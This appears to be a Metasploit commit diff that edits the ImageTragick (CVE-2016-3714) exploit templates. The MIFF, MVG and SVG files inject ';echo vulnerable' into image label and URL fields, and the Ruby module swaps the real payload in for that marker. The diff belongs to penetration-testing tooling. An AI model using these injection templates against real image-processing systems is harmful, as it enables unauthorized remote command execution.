Change placeholder text to something useful

A la Shellshock. :)

data/exploits/CVE-2016-3714/msf.miff

@@ -9,6 +9,6 @@ red-primary=0.64,0.33  green-primary=0.3,0.6  blue-primary=0.15,0.06
 white-point=0.3127,0.329
 date:create=2016-05-04T00:19:42-05:00
 date:modify=2016-05-04T00:19:42-05:00
-label={";Lorem ipsum"}
+label={";echo vulnerable"}
 
 :ÿÿÿÿÿÿ

data/exploits/CVE-2016-3714/msf.mvg

@@ -3,6 +3,6 @@ encoding "UTF-8"
 viewbox 0 0 1 1
 affine 1 0 0 1 0 0
 push graphic-context
-image Over 0,0 1,1 'url(https:";Lorem ipsum")'
+image Over 0,0 1,1 'url(https:";echo vulnerable")'
 pop graphic-context
 pop graphic-context

data/exploits/CVE-2016-3714/msf.svg

@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve">  <image id="image0" width="1" height="1" x="0" y="0"
-    xlink:href="https:&quot;;Lorem ipsum&quot;" />
+    xlink:href="https:&quot;;echo vulnerable&quot;" />
 </svg>

modules/exploits/unix/fileformat/imagemagick_delegate.rb

@@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit
       p = payload.encoded
     end
 
-    file_create(template.sub('Lorem ipsum', p))
+    file_create(template.sub('echo vulnerable', p))
   end
 
   def template